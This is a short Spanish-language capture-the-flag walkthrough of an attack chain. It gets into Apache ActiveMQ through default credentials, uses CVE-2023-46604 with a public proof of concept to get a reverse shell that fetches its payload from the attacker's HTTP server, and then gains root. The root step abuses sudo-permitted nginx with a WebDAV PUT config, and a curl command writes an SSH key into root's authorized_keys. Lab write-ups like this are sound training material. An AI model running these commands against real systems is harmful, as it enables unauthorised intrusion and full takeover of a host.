RCE,_CVE-2023-46604,_Privilege_Escalation,_SSH_Key_Theft

  • analizamos con nmap los puertos y vemos que tenemos un 80 abierto, y si vemos el servicio vemos que es un activemq, asique mirando las claves de inicio por defeco podemos ver que se accede asi

  • una vez dentro podemos ver la version del activemq y si hacemos una busqueda podemos ver que es vulnerable a CVE-2023-46604 https://github.com/rootsecdev/CVE-2023-46604

  • si hacemos uso de la herramienta debemos:
    • cambiar el archivo “poc-linux.xml”, la linea 11 con nuestra ip y un puerto (donde luego pondemos nc en modo escucha)
    • y utilizar un servidor para exponer el archivo de linux python3 -m http.server 8001
    • nos ponemos en modo escucha nc -lpvn 8001
go run main.go -i <Target> -p 61616 -u http://<lhost>:8001/poc-linux.xml
  • en este punto ya debemos tener la revershell, ahora debemos comprobar si el usuario tiene permisos de sudo para ejecutar alguno comando, en este caso podemos ejecutar el binario de nginx y esto lo podemos usar, ya que podemos cabiar el archivo de configuracion de nginx con uno personalizado, y de esta manera hablilitar un servidor WevDav con permisos de root que permita el metodo PUT
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events { 
	worker_connections 768; 
} 
http { 
	server {
		listen 1337; 
		root /; 
		autoindex on; 
		dav_methods PUT; 
	} 
}

ahora ejecutamos nginx con ese archivo de configuracion

sudo /usr/sbin/nginx -c ~/nginx_2.conf

y podemos comprobar si tenemos el servidor establecido mirando si el puerto esta abierto

ss -tlpn

  • gracias a que tenemos el habilitado el metodo PUT y se esta ejecutando con permiso de admin vamos a generar un sshkey
ssh-keygen

  • subimos el archivo con curl
curl -X PUT localhost:1337/root/.ssh/authorized_keys -d "$(cat root.pub)"
  • entramos por ssh al usuario root
ssh -i root root@<ip>

  • fin